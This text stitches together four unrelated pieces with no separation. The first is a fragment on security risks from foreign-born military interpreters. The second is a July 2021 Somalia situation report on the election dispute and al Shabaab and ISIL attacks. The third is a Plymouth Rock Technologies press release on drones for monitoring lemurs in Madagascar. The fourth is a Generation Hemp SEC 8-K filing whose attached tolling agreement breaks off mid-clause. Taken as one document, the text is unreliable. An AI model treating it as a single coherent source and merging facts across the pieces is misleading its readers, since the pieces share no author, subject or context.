To attract the needed number of interpreters, many of the supervisory and screening personnel are hired via contractors. That way, these people, who are in short supply, could be offered enough money to induce them to take on this work. The Department of Defense was able to get enough interpreters for Iraq and Afghanistan operations, but only by hiring a lot of foreigners or foreign-born American citizens. This was risky from a security point of view. Terrorist groups, and hostile governments, can get to these foreign interpreters eventually, and find out a lot about American intelligence techniques. Its a similar situation with foreign-born American citizens who still have kin in the old country. This is a long-term price to pay in order to deal with the short-term interpreter shortage. Mariam Taha Thompson was the latest example of that long-term risk.
The presidential electoral crisis appears to be settled with incumbent president Farmajos supporters and the opposition finally agreeing two weeks ago on the details of new elections. These elections were supposed to be held in December 2020 but were delayed over a year because of difficulty in agreeing on how and when. The June 29 agreement stipulates national elections for the 54 members of the senate be held from July 10 to August 10 while the elections for the 275 members of parliament will take place between August 10 and September 10. Starting on September 20 the newly elected members of the senate and parliament will select senate and parliament leaders. Once that is done, a process that could take months, the combined senate and parliament will elect a new president. Like previous agreements, this one might not actually work. But after a year of bickering and threats of civil war and the withdrawal of foreign aid, this agreement may be the one that works.

The final dispute was in agreeing on who was non-partisan and eligible to replace 34 ousted members of the National Independent Electoral Commission. A May agreement made was supposed to have solved this problem. Farmajo supporters refused to cooperate and allow disclosure of background information of those proposed for membership in the Electoral Commission.

These disputes have been going on since mid-2020 and turned violent in April 2021 when president Farmajo used Turkish trained-troops and loyal (to him) police to take control of Mogadishu. He continued blocking serious efforts to hold the long-delayed elections. Farjamo persuaded parliament to extend his current term, which expired in February 2021, two more years. That was something parliament did not have the power to do and Farmajo used his Turkish-trained troops to stage a coup against police and any other armed, or unarmed groups in Mogadishu that opposed him. Farmajo underestimated the resistance in Mogadishu and the rest of the country, so he agreed that the two-year term extension was illegal and made serious efforts to negotiate a settlement. Farmajo apparently believes that if elections are held, he will lose. So do many Somalis, both traditionalists and reformers, and now everyone is on the watch for Farmajos efforts to rig the vote.

The election crisis began in June 2020 when the National Independent Electoral Commission told parliament that it was impossible to hold elections for parliament and a new president as scheduled on November 27 2020. The delay was blamed on the usual suspects; political deadlocks, poor security (bandits and Islamic terrorists), bad weather (floods this time) and covid19. To assure a minimum level of legitimacy the six million eligible Somali voters must be registered biometrically, which requires special equipment that had not yet been obtained because the Electoral Commission lacked the money and needed at least $70 million to set up 5,000 polling stations and carry out the biometric registration. More time was also required but it was never going to be enough. Foreign aid donors are fed up and threaten to withdraw aid, which is still being stolen by corrupt politicians and officials. The government pleaded for foreign aid to deal with the many internal problems. Billions of dollars in aid over the last decade has been provided but little of it has reached the people in need. Even Moslem donors are threatening to halt the aid.

Farmajo and many other Somali politicians and leaders do not believe the foreign donors will completely abandon Somalia again, as they did in the 1990s for the same reasons. A majority of Somalis apparently agree with the aid donors but Somali culture still puts clan loyalty above anything else. National government has to distribute a lot of foreign aid to clan leaders to get any meaningful cooperation. Fair elections are seen as a threat to the traditions that create and sustain clan leaders, who are often warlords. That tradition leaves it to clan leaders to negotiate how much clout their clan should have, irrespective of how many eligible voters each clan has. That tradition is now seen by most Somalis as more of a problem than a solution. Fair voting is seen as a major threat to these traditions, which groups like al Shabaab depend on.

Shabaab Stumbles

Although al Shabaab has increased its attacks this year in an effort to disrupt the elections, that has made them more vulnerable. The army, peacekeepers and pro-government militias have taken advantage of this. Since March, at least a hundred al Shabaab men have died each month.

In the south the al Shabaab losses have been repeated across the border in Kenya where al Shabaab recruiters have encountered a lot more difficulty in recruiting teenage Somalis living in Kenya to join. Worse, so far this year over 350 Kenyan members of al Shabaab have surrendered and accepted amnesty.

July 10, 2021: In Mogadishu an al Shabaab suicide car bomber attacked a government convoy, leaving nine dead and nine wounded.

July 9, 2021: In the north (Puntland) security forces finally tracked down the camp of a new ISIL (Islamic State in Iraq and the Levant) cell that was responsible for several bomb attacks since June. The attack on the camp left four Islamic terrorists dead. One was identified as a bomb builder and another had videos on his cellphone showing recent attacks. A month ago, a similar operation in the Almadow Mountains where troops sought out and captured an ISIL hideout. Most of the thirty or more ISIL men in the base camp escaped, leaving behind a lot of weapons and equipment. Among the dead one was identified as Khalid Osama, a veteran Pakistani Islamic terrorist. There were known to be a growing number of foreign ISIL veterans in Puntland, where they were seeking refuge from areas in the Middle East where ISIL was still taking heavy losses. The ISIL groups hiding out in Puntland do not carry out operations locally in return they expect to be left alone. But ISIL members have to live and will carry out attacks in nearby areas to obtain supplies. This generates demands that Puntland security forces act. With the help of tips from local civilians the ISIL cells are shut down, but ISIL keeps coming back, always in small numbers. Most of the ISIL members are from Somalia, where the more extreme Al Shabaab members seek a more extreme Islamic terror group and ISIL is the only one available. ISIL no longer really exists in Somalia but it is general knowledge that there are small ISIL groups in Puntland, which is where new members go to join and die.

July 6, 2021: In the north (Galmudug) the army regained control of the town of the town of Bacaadweyne, which al Shabaab had occupied since April. This town has been occupied by the Islamic terrorists several times since 2011 and the peacekeepers, Somali army or local militias always took it back. In April Somali troops withdrew because of the election crises in Mogadishu and al Shabaab moved in. This time they arranged to stay by making a deal with the local clans to keep the peace and not retaliate for losses inflicted by clan militias in the past. The government took longer than usual to assemble a force of soldiers and peacekeepers to take the town back because of the election crisis in Mogadishu.

Mudug consists of territory stretching from Ethiopia to the Indian Ocean and from Puntland south to the Hirshabelle region. During the 1990s clan wars in Mudug caused the province to be divided. The northern part joined Puntland while the southern half, which is 750 kilometers north of Mogadishu did not. Somalia wants to reunite Mudug and Puntland sees that as aggression and has so far retained its portion of Mudug.

July 5, 2021: The army revealed that they had confirmed the identity of an al Shabaab member recently killed northeast of Mogadishu. The dead man, known by a nickname Tosow was a senior, and secretive, leader of al Shabaab in central Somalia.

July 2, 2021: In Mogadishu an al Shabaab suicide bomber attacked a cafe popular with NISA (National Intelligence and Security Agency) and ten people died in the explosion and many more were wounded.

In central Somalia (Bay region) a bomb went off in a town market, leaving one dead and three injured. Al Shabaab later took credit.

Including todays bombings there have been fifteen al Shabaab suicide bombers so far in 2021, in addition to a few that involved planted, usually roadside, bombs.

June 29, 2021: The various political factions finally agreed on and released dates for the national elections.

In the north (Puntland) a new ISIL cell attacked a convoy, killing one soldier. This triggered a major search operation to find out where this new group was.

June 28, 2021: In the north (Galmudug) al Shabaab used two suicide car bombers to spearhead a failed attack on an army base. There were 17 soldiers and 13 civilians killed and 30 wounded, mostly by the two bombs. The al Shabaab gunmen were not able to exploit the explosion deaths and get into the base and after about an hour of gunfire, retreated with soldiers and armed civilians in pursuit. Over 40 al Shabaab were killed during the attack and during the pursuit.

June 27, 2021: In the south (Middle Juba) al Shabaab executed six local civilians (one a woman) accused of spying for the Americans who, until this year, regularly launched accurate UAV missile attacks on key al Shabaab personnel. Middle Juba is an al Shabaab stronghold and the biggest threat was the American UAV surveillance and attacks. The new (since January 20) American government ordered a halt to the American use of UAVs over Somalia. Al Shabaab gunmen are moving around confident that they are not making themselves vulnerable. Since early 2017, when Africom (U.S. Africa Command) increased its use of armed UAVs over Somalia, there have been about 170 UAV airstrikes that have killed nearly a thousand al Shabaab and ISIL members. In 2020 there were fifty of these UAV airstrikes and 275 in Somalia in the last decade. For 2021 there have been seven UAV airstrikes so far, the last one on January 29th. Attacking Americans in Somalia who support those air operations has long been an al Shabaab goal, but the Islamic terrorists have had little success at that. Most of those attacks were against al Shabaab targets with a few directed at ISIL forces in the north. In 2019 there were 63 UAV attacks in Somalia for the entire year. The 2020 attacks have killed several senior leaders although most of the UAV attack missions are in support of Somali Army operations, especially in southern Somalia where the remaining al Shabaab strongholds are.

June 26, 2021: The first of several hundred American troops have arrived in Kenya, doing so without any publicity in order to avoid any reckless efforts by local al Shabaab members to attack them.

June 22, 2021: North of Mogadishu (Middle Shabelle) the army used mortar fire to hit an al Shabaab camp, leaving at least 17 Islamic terrorists dead. The shells can be fired rapidly (a dozen a minute) for a short period, Since mortar fire was a surprise and sustained, accurate and lasted a few minutes, the al Shabaab men in the camp did not have time to flee from the danger.
Plymouth, Massachusetts--(Newsfile Corp. - July 13, 2021) - Plymouth Rock Technologies Inc. (CSE: PRT) (OTCQB: PLRTF) (FSE: 4XA) (WKN# A2N8RH) ("Plymouth Rock", "PRT", or the "Company"), a leader in developing detection apparatus and unmanned technologies, is pleased to announce a contract for the sale and delivery of Unmanned Aircraft Systems (UAS) to the Durrell Wildlife Conservation Trust ("Durrell") to perform critical environmental operations in Madagascar.

At the beginning of 2019, a team of conservationists from Durrell, alongside researchers from Liverpool John Moores University (LJMU) visited Lac Alaotra to trial the use of drone-based thermal infrared cameras as a new way of monitoring the lemurs and identifying any potential poachers. Thermal or infrared imaging is the process of taking digital pictures with a specialized camera, which record infrared or heat radiation as opposed to visible light. In short, the drone would fly over large areas of otherwise inaccessible marshes and detect the lemurs from their body heat, making them much easier to spot and allowing the team to obtain more accurate estimates of their population size. In a single 20-minute flight, the drone was able to cover a greater area of the marsh than a canoe team could cover in two days, hugely increasing the efficiency of the surveys.

The infrared trial had an immediate measurable impact on efficiencies to aid Durrell's work towards rebuilding healthy wetlands for wildlife, and the people that rely on them. The team immediately envisaged how this exciting technology could be adapted for use at other sites and with other species in Madagascar.

Due to the success of this trial, the team received a large research grant from United Kingdom Research Innovation (UKRI) to continue the development of this monitoring system.

https://www.durrell.org/wildlife/news/eyes-sky-using-drones-monitor-lemur-populations/

"This project captivated the entire PRT/Tetra team," stated Carl Cagliarini, Chief Strategy Officer of Plymouth Rock Technologies. "We are honored to have been chosen to supply our UAS technologies to this project and are thrilled to working with Durrell and LJMU / AI Conservation. AI being used to assist in endangered species conservation is a tremendously important technology application. We also look forward to further collaboration with the team at AI Conservation on both their future efforts and other projects that we have identified that can leverage their capabilities," concluded Cagliarini.

Durrell Wildlife Conservation Trust is an international charity working to save species from extinction. Headquartered at Jersey Zoo in/the Channel Islands, Durrell focuses on the most threatened species in the most threatened places.

Established by author and conservationist, Gerald Durrell, in 1959, Durrell's overall aim is for more diverse, beautiful and resilient natural landscapes in which species can thrive and people can enjoy a deeper connection with nature. Their approach concentrates on the rewilding of animals, the rewilding of ecosystems and the rewilding of people.

www.durrell.org

About LJMU

LJMU an ambitious and forward-thinking institution that challenges convention and believes passionately in the concept of 'One University' - a community working together to achieve common student-centered objectives within a clear strategy. Their vision is to be recognised as a modern civic university delivering solutions to the challenges of the 21st century.

www.ljmu.ac.uk/about-us/faculties/faculty-of-science/school-of-biological-and-environmental-sciences

About Conservation AI

Conservation AI aims to harness machine learning for various conservation projects. At present we focus on detecting and classifying animals, humans, and man-made objects indicative of poaching (e.g. cars, fires). We focus work with images from visual spectrum and thermal infrared cameras that are used on drones or in camera traps. The aim is to provide a user-friendly workflow that can allow for near-real time detection/classification and non-real time detection/classification.

The conservation AI site allows you to upload your media for automatic species detection using our AI models. Using the site you can upload single files or batch upload files to create an online library of classified data all in one place. The conservation AI platform also supports real-time uploads from devices such as camera traps to enable the real-time detection and classification of animal species.

www.conservationai.co.uk

About Plymouth Rock Technologies Inc.

We are on a mission to bring engineering-driven answers to the most critical problems that threaten our safety. We work with government, law enforcement and military to innovate solutions for national security, defense and space systems. The Company is developing the next generation of threat detection solutions and Unmanned Aircraft Systems (UAS).

The PRT X1 is a purpose-built multirotor UAS, utilizing Artificial Intelligence, cutting-edge sensors and the latest FLIR dual-camera module as standard, offering thermal capabilities alongside 1080p HD real-time air-to-ground streaming and 4K video recording, with the ability to mount multiple, various sensors, modules and payloads.

Our advanced threat detection methods fuse artificial intelligence with augmented reality interfaces to eliminate human operating error. Plymouth Rock products, both airborne and land-based, will scan for threat items at greater 'stand-off' distances than current existing technologies. Our unique radar imaging and signal processing technology creates new opportunities for remotely operated, non-intrusive screening of crowds in real time.

Plymouth Rock's core technologies include: (1) UAS platforms engineered to conform to H.R.4753 - Drone Origin Security Enhancement Act ("X1") ("XV"); (2) Millimeter Remote Imaging from Airborne Drone ("MIRIAD"); (3) A compact microwave radar system for scanning shoe's ("Shoe Scanner"); (4) A compact modular radar utilized for a variety of applications, from aircraft to weapon detection ("CODA").

www.plyrotech.com

ON BEHALF OF THE BOARD OF DIRECTORS

Dana Wheeler

President and CEO

+1-774-404-7685

info@plyrotech.com

Investor Information:

Tasso Baras

+1-778-477-6990

tasso@plyrotech.com

Forward-Looking Statements

Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties. All statements other than statements of historical fact are forward-looking statements, including, without limitation, statements regarding future financial position, business strategy, use of proceeds, corporate vision, proposed acquisitions, partnerships, joint-ventures and strategic alliances and co-operations, budgets, cost and plans and objectives of or involving the Company. Such forward-looking information reflects management's current beliefs and is based on information currently available to management. Often, but not always, forward-looking statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "predicts", "intends", "targets", "aims", "anticipates" or "believes" or variations (including negative variations) of such words and phrases or may be identified by statements to the effect that certain actions "may", "could", "should", "would", "might" or "will" be taken, occur or be achieved. A number of known and unknown risks, uncertainties and other factors may cause the actual results or performance to materially differ from any future results or performance expressed or implied by the forward-looking information. These forward-looking statements are subject to numerous risks and uncertainties, certain of which are beyond the control of the Company including, but not limited to, the impact of general economic conditions, industry conditions and dependence upon regulatory approvals. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events, or otherwise, except as required by securities laws.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/89997
UNITED STATES

SECURITIES AND EXCHANGE COMMISSION

Washington, D.C. 20549

FORM 8-K

CURRENT REPORT

Pursuant to Section 13 or 15(d)

of the Securities Exchange Act of 1934

July 12, 2021

Date of Report (Date of earliest event reported)

Generation Hemp, Inc.

(Exact name of registrant as specified in its charter)

Colorado 000-55019 26-3119496 (State or other jurisdiction

of incorporation) (Commission File Number) (I.R.S. Employer

Identification No.)

8533 Midway Road Dallas, Texas 75209 (Address of principal executive offices) (Zip Code)

(469) 209-6154

(Registrants telephone number, including area code)

(Former name or former address, if changed since last report)

Check the appropriate box below if the Form 8-K filing is intended to simultaneously satisfy the filing obligation of the registrant under any of the following provisions (see General Instruction A.2. below):

 Written communications pursuant to Rule 425 under the Securities Act (17 CFR 230.425)

 Soliciting material pursuant to Rule 14a-12 under the Exchange Act (17 CFR 240.14a-12)

 Pre-commencement communications pursuant to Rule 14d-2(b) under the Exchange Act (17 CFR 240.14d-2(b))

 Pre-commencement communications pursuant to Rule 13e-4(c) under the Exchange Act (17 CFR 240.13e-4(c))

Securities registered pursuant to Section 12(b) of the Act:

Title of each class Trading Symbol Name of each exchange on which registered None None None

Indicate by check mark whether the registrant is an emerging growth company as defined in Rule 405 of the Securities Act of 1933 or Rule 12b-2 of the Securities Exchange Act of 1934.

Emerging growth company 

If an emerging growth company, indicate by check mark if the registrant has elected not to use the extended transition period for complying with any new or revised financial accounting standards provided pursuant to Section 13(a) of the Exchange Act. 

CAUTIONARY NOTE REGARDING FORWARD-LOOKING STATEMENTS

This Current Report on Form 8-K and other reports filed by us from time to time with the Securities and Exchange Commission (collectively the  Filings ) contain or may contain forward-looking statements and information that are based upon beliefs of, and information currently available to, our management as well as estimates and assumptions made by our management. When used in the filings the words anticipate, believe, estimate, expect, future, intend, plan or the negative of these terms and similar expressions as they relate to us or our management identify forward looking statements. Such statements reflect the current view of our management with respect to future events and are subject to risks, uncertainties, assumptions and other factors (including the risks contained in the section of this report entitled Risk Factors) as they relate to our industry, our operations and results of operations, and any businesses that we may acquire. Should one or more of the events described in these risk factors materialize, or should our underlying assumptions prove incorrect, actual results may differ significantly from those anticipated, believed, estimated, expected, intended or planned.

Although we believe that the expectations reflected in the forward-looking statements are reasonable, we cannot guarantee future results, levels of activity, performance or achievements. Except as required by applicable law, including the U.S. federal securities laws, we do not intend to update any of the forward-looking statements to conform them to actual results. The following discussion should be read in conjunction with our pro forma financial statements and the related notes that will be filed herein.

1

Item 1.01 Entry into a Material Definitive Agreement.

On July 11, 2021, but effective as of June 30, 2021, Generation Hemp, Inc.s (the Company) wholly-owned subsidiary, GENH Halcyon Acquisition, LLC (GENH), entered into a Biomass Tolling Agreement (the Agreement) with GenCanna Acquisition Corp. (GenCanna). Under the Agreement, GENH will process and dry hemp at its Halcyon Facility in Hopkinsville, Kentucky. The Agreement provides for certain amounts of hemp to be processed and dried upon the direction of GenCanna and provides for certain storage and delivery requirements. GenCanna will have the option to either (i) elect to require GENH to deliver 25% of the dried product to GenCanna with GENH being entitled to keep the remaining 75% of the dried product, or (ii) elect to take 100% of the dried product with GENH being entitled to a drying fee of $0.40 per wet pound of hemp. The Agreement has an Initial Term through December 31, 2022, with additional eight (8) month extension options upon the mutual agreement of GENH and GenCanna,

The foregoing description of the Agreement is qualified in its entirety by reference to the full text of the Agreement, a copy of which is attached hereto as Exhibit 10.1 and incorporated herein by reference.

Item 5.02 Departure of Directors or Certain Officers; Election of Directors; Appointment of Certain Officers; Compensatory Arrangements of Certain Officers.

Appointment of Directors

On July 1, 2021, the Board of Directors (the Board) of the Company approved that the number of directors be increased from one (1) to four (4) members and also recommended that stockholders elect Gary C. Evans, Joe McClaugherty, Gary D. Elliston, and John Harris to the Board. On July 12, 2021, the Majority Stockholders, representing 57.2% of the outstanding voting power of the Company, elected Messrs. Evans, McClaugherty, Elliston, and Harris to the Board to each serve as director of the Company with such terms to begin no sooner than the 20th calendar day after the date on which the Information Statement and the accompanying notice are mailed to the Companys stockholders (the Effective Date), which is currently estimated to be on or about August 15, 2021.

There is no arrangement or understanding between any of Messrs. Evans, McClaugherty, Elliston, and Harris and any other persons pursuant to which Messrs. Evans, McClaugherty, Elliston, and Harris were elected as a director.

There are no family relationships between any of Messrs. Evans, McClaugherty, Elliston, and Harris and any director or executive officer of the Company.

Each of Messrs. Evans, McClaugherty, Elliston, and Harris, will enter into the Companys standard form of indemnification agreement, a copy of which has been attached as Appendix E to the Companys Preliminary Information Statement on Schedule 14C, filed with the Securities and Exchange Commission on July 14, 2021.

2

Related Transactions

Home Treasure Finders Merger On November 27, 2019, Generation Hemp, Inc. (f/k/a Home Treasure Finders, Inc.) (HTF) completed the purchase of approximately 68% of the common stock of Energy Hunter Resources, Inc. (EHR) through the issuance of 6,328,948 shares of the Companys Series A Preferred Stock (Series A Preferred). Each share of the Series A Preferred; (a) converts into 12 shares of Common Stock, (b) possesses full voting rights, on an as-converted basis, with the Common Stock, and (c) has no dividend rate. The acquisition, together with the other transactions contemplated by the Stock Purchase Agreement, dated August 15, 2019 are referred to herein as the Transaction. In connection with the closing of the Transaction, HTF changed its name to Generation Hemp, Inc. The Transaction was accounted for as a reverse merger, whereby EHR is considered to be the accounting acquirer and became a majority-owned subsidiary of the Company. Accordingly, the Companys historical financial statements prior to the reverse merger were replaced with the historical financial statements of EHR prior to the reverse merger and in this and all future filings with the U.S. Securities and Exchange Commission.

Upon completion of the Transaction, Gary C. Evans, previous Chairman and Chief Executive Officer of Energy Hunter Resources, Inc., became Chairman of the Board of Directors and Chief Executive Officer. In addition, through this Transaction, Mr. Evans and Mr. McClaugherty, acquired their ownership of the Series A Preferred.

2021 Issuances of Common Stock Units  In the first quarter of 2021, the Company issued 800,000 common stock units for total proceeds of $400,000. Each common stock unit consists of one share of common stock and a warrant for the purchase of two shares of common stock for $0.50 each. Each warrant is exercisable any time before its expiration on the second anniversary of its issuance. Mr. Evans purchased 100,000 commons stock units in this issuance.

Subordinated Promissory Note to Gary C. Evans  Gary C. Evans made advances of $490,000 to the Company during 2020 under a subordinated promissory note due September 30, 2021. The note bears interest at 10% per annum. Accrued interest on this subordinated promissory note totaled $22,393 at December 31, 2020.

December 2020 Issuance of Series B Preferred Stock Units  On December 30, 2020, the Company sold to certain accredited investors, including Gary C. Evans (50 shares), CEO and chairman, and Gary Elliston (25 shares), one of our incoming directors, an aggregate of 135 preferred stock units comprised of (i) one share of Series B Redeemable Convertible Preferred Stock, no par value, and (ii) one warrant exercisable for 50,000 shares of common stock of the Company. On March 9, 2021, Mr. Elliston exercised cash warrants received by him in the Series B Preferred Stock Unit issuance for 1,250,000 shares of common stock.

Gary C. Evans Convertible Note with EHR. In October and December of 2019, Mr. Evans advanced EHR $370,770 under a convertible note bearing interest at 10% per annum. This note, including accrued interest, was converted into 1,061,970 shares of common stock on December 31, 2019.

EHR Series C Preferred Stock  In the third quarter of 2019, EHR raised $850,000 of additional funding through the issuance of 34,000 shares of EHR Series C Preferred Stock. The EHR Series C Preferred Stock converted into 2,414,773 shares of EHRs common stock upon completion of the Transaction. These common shares were initially accounted for as non-controlling interests in EHR. In an exchange transaction effective November 27, 2019, the Company acquired these non-controlling interests representing approximately 26% of the ownership of EHR through the issuance of 2,414,773 shares of Company common stock and 14,488,638 warrants for the purchase of Company common stock. The warrants have an exercise price of $0.352 per share and expire on November 27, 2021. The warrants may be redeemed beginning October 1, 2020 for $0.0001 per warrant at the Companys option with 30-days advanced notice should the volume weighted average price exceed $1.00 for any five out of seven consecutive trading days with a minimum average daily trading volume for such seven-day period of at least 25,000 shares of common stock. One-half of the warrants have a cashless exercise feature.

In connection with the exchange transaction, on November 27, 2019, John Harris, an incoming director, obtained beneficial ownership of 71,022 shares of common stock, 213, 068 cash warrants, and 213,068 cashless warrants. On February 26, 2021, the cash warrants were exercised for the purchase of 213,068 shares of common stock. Also, at the time of the exchange, Gary Elliston, an incoming director, received 710,227 shares of common stock, 2,130,682 cash warrants, and 2,130,682 cashless warrants. On March 9, 2021, Mr. Elliston exercised all of his cash warrants and received 2,130,682 shares of common stock. Lastly, at the time of the exchange, Joe McClaugherty, also an incoming director, received 71,022 shares of common stock, 213, 068 cash warrants, and 213,068 cashless warrants.

3

Item 5.07 Submission of Matters to a Vote of Security Holders.

The Common Stock and the Series A Preferred Stock of the Company are the only classes of outstanding voting stock of the Company. As of July 1, 2021, there were 34,977,953 shares of Common Stock and 6,328,948 shares of Series A Preferred issued and outstanding. On July 12, 2021, the following holders of shares of the Common Stock and Series A Preferred Stock, representing 57.2% of the outstanding voting power of the Company (the Majority Stockholders), executed the written consent of the Majority Stockholders approving the Corporate Actions, described below (the Corporate Actions):

Name of Majority Stockholder Number of Shares of Common Stock held Number of Shares of Series A Preferred held (1) Number of Votes held by Majority Stockholder (1) Number of Votes that Voted in favor of the Corporate Actions Percentage of the Voting Equity that Voted in favor of the Corporate Actions (2) Gary C. Evans 1,161,970 3,000,000 37,161,970 37,161,970 33.5 % Satellite Overseas (Holdings) Limited 1,000,000 2,105,262 26,263,144 26,263,144 23.7 % Total 2,161,970 5,105,262 63,425,114 63,425,114 57.2 %

(1) Each share of the Series A Preferred Shaes (a) are, upon the occurrence of certain events, convertible into 12 shares of Common Stock, (b) shall possess full voting rights, on an as-converted basis, as the Common Stock of the Company, and (c) have no dividend rate.

(2) Based on 110,925,329 shares of Common Stock entitled to vote, including the number of shares of Common Stock entitled to vote under the Series A Preferred Shares, on an as-converted basis.

Since the Board and Majority Stockholders voted in favor of the Corporate Actions, all corporate actions necessary to authorize the Corporate Actions have been taken.

Corporate Actions:

Pursuant to the above mentioned written consent, the Majority Stockholders approved by written consent the following matters:

Election of Directors

The following nominees for election to the Board were elected by the written consent of the Majority Stockholders.

Name of Director Nominee Votes FOR Votes

AGAINST Votes

ABSTAIN Gary C. Evans 63,425,114 0 0 Joe McClaugherty 63,425,114 0 0 Gary D. Elliston 63,425,114 0 0 John Harris 63,425,114 0 0

Plan of Conversion

The Majority Stockholders have approved a change the state of incorporation of the Company from the State of Colorado to the State of Delaware (the Conversion) through a plan of conversion (the Plan of Conversion), the Plan of Conversion pursuant to which the Company will effect the Conversion, in compliance with the Delaware General Corporation Law (the DGCL) and the Colorado Business Corporation Act. In connection with the Conversion, the Company will adopt a new certificate of incorporation (Delaware Certificate) and bylaws under the laws of the State of Delaware. The Plan of Conversion and Delaware Certificate will be filed with the Secretary of State for the State of Delaware after the Effective Date at the direction of the Board.

The written consent vote for such action, as of July 12, 2021, was:

Written Consent Vote Votes FOR Votes

AGAINST Votes

ABSTAIN Totals: 63,425,114 0 0

4

Ratification of Auditors

The Board has appointed Marcum LLP, certified public accountants to serve as our independent registered public accounting firm for the fiscal year ending December 31, 2021. The Majority Stockholders ratified the Boards appointment of Marcum LLP as the Companys independent registered public accounting firm for the fiscal year ending December 31, 2021.

The written consent vote for such action, as of July 12, 2021, was:

Written Consent Vote Votes FOR Votes

AGAINST Votes

ABSTAIN Totals: 63,425,114 0 0

Adoption of the 2021 Omnibus Incentive Plan (the 2021 Plan)

Our 2021 Plan was adopted by our Board on July 1, 2021. The 2021 Plan provides for the initial reservation of 15 million shares of Common Stock for issuance thereunder, and provides that the maximum number of shares that may be issued pursuant to the exercise of ISOs is 15,000,000. The number of shares of Common Stock available for issuance under the 2021 Plan constituted approximately 13.1% of the Companys fully diluted shares of Common Stock outstanding as of the date of Board approval, including shares issuable upon the conversion of Series A and Series B Preferred Shares, as calculated on an as-converted basis. On the one-year anniversary date of the 2021 Plan, the number of shares of Common Stock reserved for issuance thereunder shall automatically increase to 20% of the fully diluted shares of Common Stock outstanding, including shares issuable upon the conversion of Series A and Series B Preferred Shares, as calculated on an as-converted basis.

The Majority Stockholders approved the 2021 Plan on July 12, 2021. The written consent vote, as of July 12, 2021, was:

Written Consent Vote Votes FOR Votes

AGAINST Votes

ABSTAIN Totals: 63,425,114 0 0

Ratification Of Indemnification Agreement

On July 1, 2021 the Board adopted and, by written consent, on July 12, 2021, the Majority Shareholders approved a form of indemnification agreement to be entered into by the Company and each of its current and future directors and executive officers following the Conversion. The Board further authorized the Company to enter into an indemnification agreement with any other persons or categories of persons that may be designated from time to time by the Board.

The written consent vote for such action, as of July 12, 2021, was:

Written Consent Vote Votes FOR Votes

AGAINST Votes

ABSTAIN Totals: 63,425,114 0 0

Item 8.01 Other Information

On July 14, 2021, the Company issued a press release announcing the appointment of Messrs. Evans, McClaugherty, Elliston, and Harris to the Companys Board and other governance matters. A copy of the press release is filed hereto as Exhibit 99.1.

5

Item 9.01 Financial Statements and Exhibits.

(d) Exhibits

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SIGNATURE

Pursuant to the requirements of the Securities Exchange Act of 1934, Generation Hemp, Inc. has duly caused this current report to be signed on its behalf by the undersigned hereunto duly authorized.

GENERATION HEMP, INC. Date: July 14, 2021 By: /s/ Gary C. Evans Gary C. Evans Chief Executive Officer

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Exhibit 10.1

Biomass Tolling Agreement

THIS BIOMASS TOLLING AGREEMENT (this  Agreement ) is entered into as of the 30th day of June, 2021 (the  Effective Date ) by and between GenCanna Acquisition Corp., a Delaware corporation, having an address of 4274 Colby Road, Winchester, Kentucky 40392 ( GAC ), and GENH Halcyon Acquisition, LLC, LLC, a Texas limited liability company, having an address of 222 W. Exchange Avenue, Fort Worth, Texas 76164 ( Halcyon ). GAC and Halcyon are referred to collectively as the Parties and individually as a Party.

RECITALS

A. GAC is a vertically integrated seed to sale company engaged in the business of, among others, cultivating and harvesting Biomass (as defined below) for processing and extraction into product and selling such product;

B. Halcyon is involved in the business of providing post-harvest and midstream services to the hemp industry, including drying, processing and cleaning services at Halcyons facility located in Hopkinsville, Kentucky ( Halcyon Facility ); and

C. The Parties desire to enter into a tolling agreement whereby Halcyon will dry Biomass (as defined herein).

The Parties hereby agree as follows:

1. Term .

1.1 The initial term of this Agreement shall commence on the Effective Date and shall continue until December 31, 2022 (the  Initial Term ), unless terminated earlier pursuant to Section 6 hereof. Thereafter, the Initial Term may be automatically extended for a period of six (6) months as provided for in Section 3.10 below or the Parties may elect to extend the term of this Agreement upon sixty (60) days notice for additional six (6) month periods by mutual written agreement (each a  Renewal Period , and all Renewal Periods collectively with the Initial Term, the  Term ).

2. GAC Biomass .

2.1  Biomass  means industrial hemp, whether wet or dried, grown in compliance with state and federal law, properly tested to ensure compliance with tetrahydrocannabinol ( THC ) restrictions, and with respect to the dried Biomass, lawfully and timely harvested, and chopped into 3/8-1 3/16 pieces, and baled into bales not to exceed 2,500 pounds.

2.2 GAC owns approximately eight (8) million pounds of wet Biomass (the  GAC Biomass ). The GAC Biomass is currently located at a facility formerly owned by Vertical Wellness, Inc. (Vertical Wellness) situated at 134 Roger Thomas Road, Cadiz, Kentucky 42211 ( Vertical Wellness Facility ).

2.3 Except as expressly provided herein, GAC shall own all GAC Biomass, including following the drying of GAC Biomass; provided, however, that following any election under Section 3.5(a) below, title to the 75% of the dried GAC Biomass Lot shall immediately pass to Halcyon as GAC Biomass is processed and dried.

3. Drying of Biomass . The respective rights and obligations of the Parties relating to the drying of GAC Biomass under this Agreement include, without limitation, the following:

3.1 Halcyon, at its sole cost and expense, shall arrange for the loading, transportation and delivery of the GAC Biomass from the formerly owned Vertical Wellness Facility to the Halcyon Facility. GAC shall provide reasonable and timely access and assistance for the receipt of the GAC Biomass at the Vertical Wellness Facility, and shall indemnify Halcyon for any actions taken by GAC in providing such access and assistance.

3.2 Upon delivery of the GAC Biomass at the Halcyon Facility, Halcyon shall store the GAC Biomass in a commercially reasonable manner in order to minimize theft, fire, vandalism, rot, mildew, mold, shrivel, scab, loss, spoilage, other destruction, and contamination, including by taking commercially reasonable actions, in accordance with industry standards of the industrial hemp industry in the United States, to secure and protect all GAC Biomass, to in good faith consider all reasonable recommendations by GAC in respect thereof, and to stack and store the GAC Biomass in a safe and commercially reasonable manner.

